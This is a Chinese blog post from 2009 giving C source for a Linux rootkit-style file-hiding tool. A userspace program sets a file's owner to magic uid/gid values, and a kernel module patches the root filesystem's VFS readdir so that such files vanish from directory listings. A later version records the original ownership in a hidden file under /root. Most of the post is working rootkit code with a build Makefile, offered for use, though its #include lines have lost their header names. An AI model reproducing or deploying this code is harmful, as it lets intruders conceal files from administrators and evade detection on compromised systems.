全部博文(930)
分类: LINUX
2009-12-31 10:38:52
隐藏文件有很多种,我这里不想用已经落伍的劫持系统调用以及LD_PRELOAD环境变量...还是用VFS吧...看代码吧...
想说下我这里的大概的思想思路,就是如果你想隐藏一个文件那么我就把它的uid和gid都变成一个不存在的值如下的ELITE_UID 和 ELITE_GID,内核态劫持vfs的readdir后判断uid和gid是不是ELITE_UID 和 ELITE_GID,是的话就可以隐藏文件了... 那么恢复文件的时候可以把uid和gid直接变成0 0 也就是root的就可以了... 可是如果你想恢复文件的时候还是保存其原有的属性呢...麻烦点我也做了看后面的代码.
hide.h
[code]
#define ELITE_UID 6666
#define ELITE_GID 8888
[/code]
hide.c
[code]
#include
#include
#include
#include
#include "hide.h"
void help(char* pro)
{
printf("Usage: %s {h,u,} [file]\n\n"
" h hide file\n"
" u unhide file\n", pro);
}
int hidefile(char *path)
{
return lchown(path, ELITE_UID, ELITE_GID);
}
int unhidefile(char *path)
{
return lchown(path, 0, 0);
}
int main(int argc, char* argv[])
{
if (argc != 3 )
{
help(argv[0]);
return -1;
}
if(*argv[1]=='h')
hidefile(argv[2]);
else if(*argv[1]=='u')
unhidefile(argv[2]);
return 0;
}
[/code]
kernel.c
[code]
#ifndef __KERNEL__
#define __KERNEL__
#endif
#ifndef MODULE
#define MODULE
#endif
#define LINUX26
#ifdef MODVERSIONS
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "hide.h"
char *root_fs = "/"; /* default FS to hide files */
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_root_readdir=NULL;
struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *,
struct nameidata *) = NULL;
filldir_t root_filldir = NULL;
struct super_block *root_sb[1024];
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;
char reiser = 0;
if (!root_sb[current->pid % 1024])
return 0;
/* Theres an odd 2.6 behaivior. iget() crashes on ReiserFS! using iget_locked
* without the unlock_new_inode() doesnt crash, but deadlocks
* time to time. So I basically emulate iget() without
* the sb->s_op->read_inode(inode); and so it doesnt crash or deadlock.
*/
reiser = (strcmp(root_sb[current->pid % 1024]->s_type->name, "reiserfs") == 0);
if (reiser) {
if ((inode = iget_locked(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
} else {
if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
}
uid = inode->i_uid;
gid = inode->i_gid;
if (reiser) {
if (inode->i_state & I_NEW)
unlock_new_inode(inode);
}
iput(inode);
/* Is it hidden ? */
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
} else if (root_filldir) {
r = root_filldir(buf, name, nlen, off, ino, x);
}
return r;
}
int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;
if (!fp || !fp->f_vfsmnt || !fp->f_vfsmnt->mnt_sb || !buf ||
!filldir || !orig_root_readdir)
return 0;
root_filldir = filldir;
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);
return r;
}
int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
{
struct file *filep;
filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0);
if (IS_ERR(filep)) {
return -1;
}
if (orig_readdir)
*orig_readdir = filep->f_op->readdir;
((struct file_operations *)(filep->f_op))->readdir =new_readdir;
filp_close(filep, 0);
return 0;
}
int unpatch_vfs(const char *p, readdir_t orig_readdir)
{
struct file *filep;
filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0);
if (IS_ERR(filep)) {
return -1;
}
((struct file_operations *)(filep->f_op))->readdir = orig_readdir;
filp_close(filep, 0);
return 0;
}
static int __init adore_init(void)
{
patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
printk("%s\n", "patch vfs ok");
return 0;
}
static void __exit adore_cleanup(void)
{
unpatch_vfs(root_fs, orig_root_readdir);
printk("%s\n", "unpatch vfs ok");
}
module_init(adore_init);
module_exit(adore_cleanup);
[/code]
[code]
KERNELBUILD := /lib/modules/$(shell uname -r)/build
obj-m += kernel.o
default: adore
adore:
make -C $(KERNELBUILD) M=$(shell pwd) modules
clean:
rm -f *.ko *.o hide
rm -f *mod* Module*
[/code]
上面的就可以完成文件隐藏了...内核编译的时候r = orig_root_readdir(fp, buf, adore_root_filldir);这里居然报错...我看了下内核源码也没有发现声明错误,也不知道为什么,希望大家帮看下
那么要是能够恢复之前的属性呢? 可以将属性保存在内核态...但是在内核态的话,内存就必须一直占有着,所以我这里以文件的形式保存在用户态了....不过大家要是知道有什么删除文件里某一行的好办法的话,可以告知我.... sed这些除外^_^ 尝试了下mmap,mmap可以修改但是不能删除... 最后用了vi的方法,就是先读取整个文件到内存,删除某几个后在写回了文件
[code]
#include
#include
#include
#include
#include
#include
#include "hide.h"
typedef struct list
{
char line[MAX_LEN];
struct list* next;
}LIST;
void help(char* pro)
{
printf("Usage: %s {h,u,} [file]\n\n"
" h hide file\n"
" u unhide file\n", pro);
}
void init_list(LIST** L)
{
*L = (LIST*)malloc(sizeof(LIST));
(*L)->next = NULL;
}
void add_list(LIST* L, char* line)
{
LIST* p = (LIST*)malloc(sizeof(LIST));
sprintf(p->line, line);
p->next = L->next;
L->next = p;
}
void print_list(LIST* L)
{
LIST* p = L->next;
while(p!=NULL)
{
printf("%s", p->line);
p = p->next;
}
}
int hidefile(char *path)
{
struct stat buf;
int ret = 0;
FILE* fp = NULL;
OWN* file = (OWN*)malloc(sizeof(OWN));
if(file == NULL)
{
printf("%s\n", "malloc error");
return -1;
}
if(lstat(path, &buf)==-1)
return -1;
file->uid = buf.st_uid;
file->gid = buf.st_gid;
file->filename = path;
ret = lchown(path, ELITE_UID, ELITE_GID);
if(ret==0)
{
fp = fopen(ID_FILE, "a+");
if(fp == NULL)
{
printf("%s\n", "fopen() error");
return -1;
}
fprintf(fp , "%s\t%d\t%d\n", file->filename, file->uid, file->gid);
fclose(fp);
}
free(file);
file=NULL;
return ret;
}
int unhidefile(char *path)
{
int ret = -1;
OWN* file = NULL;
FILE* fp = NULL;
LIST* L = NULL;
LIST* p = NULL;
LIST* q = NULL;
char buf[MAX_LEN];
fp = fopen(ID_FILE, "r");
if(fp == NULL)
{
printf("%s\n", "fopen() error");
goto out;
}
init_list(&L);
while(fgets(buf, MAX_LEN, fp)!=NULL)
add_list(L, buf);
print_list(L);
p = L;
q = p->next;
file = (OWN*)malloc(sizeof(OWN));
if(file == NULL)
{
printf("%s\n", "malloc error");
goto out;
}
file->filename = (char*)malloc(MAX_LEN);
while(q!=NULL)
{
sscanf(q->line, "%s\t%d\t%d\n", file->filename, &(file->uid), &(file->gid));
if(strcmp(path ,file->filename)==0)
{
printf("find %s\n", file->filename);
break;
}
p = q;
q = q->next;
}
if(q == NULL)
{
printf("%s is not by me\n", path);
ret = -1;
goto out;
}
else
{
p->next = q->next;
}
printf("%s\n", "after");
print_list(L);
fclose(fp);
ret = lchown(file->filename, file->uid, file->gid);
printf("%s\n", "begin write");
fp = fopen(ID_FILE, "w");
p = L->next;
while(p!=NULL)
{
q = p;
printf("%s", p->line);
fprintf(fp, "%s", p->line);
p = p->next;
free(q);
}
free(L);
out:
free(file);
file = NULL;
fclose(fp);
return ret;
}
int main(int argc, char* argv[])
{
if (argc != 3 )
{
help(argv[0]);
return -1;
}
if(*argv[1]=='h')
hidefile(argv[2]);
else if(*argv[1]=='u')
unhidefile(argv[2]);
return 0;
}
[/code]
hide.h也要修改为
[code]
#ifndef HIDE_H
#define HIDE_H
#define ELITE_UID 6666
#define ELITE_GID 8888
#define MAX_LEN 100
#define ID_FILE "/root/.ids"
typedef struct file_own
{
unsigned int uid;
unsigned int gid;
char* filename;
}OWN;
#endif
[/code]
好了大致就这么多了,在2.6.18上测试通过了,可以隐藏文件和目录,并可以恢复文件属性
看的不爽的话,参考我的cu的帖子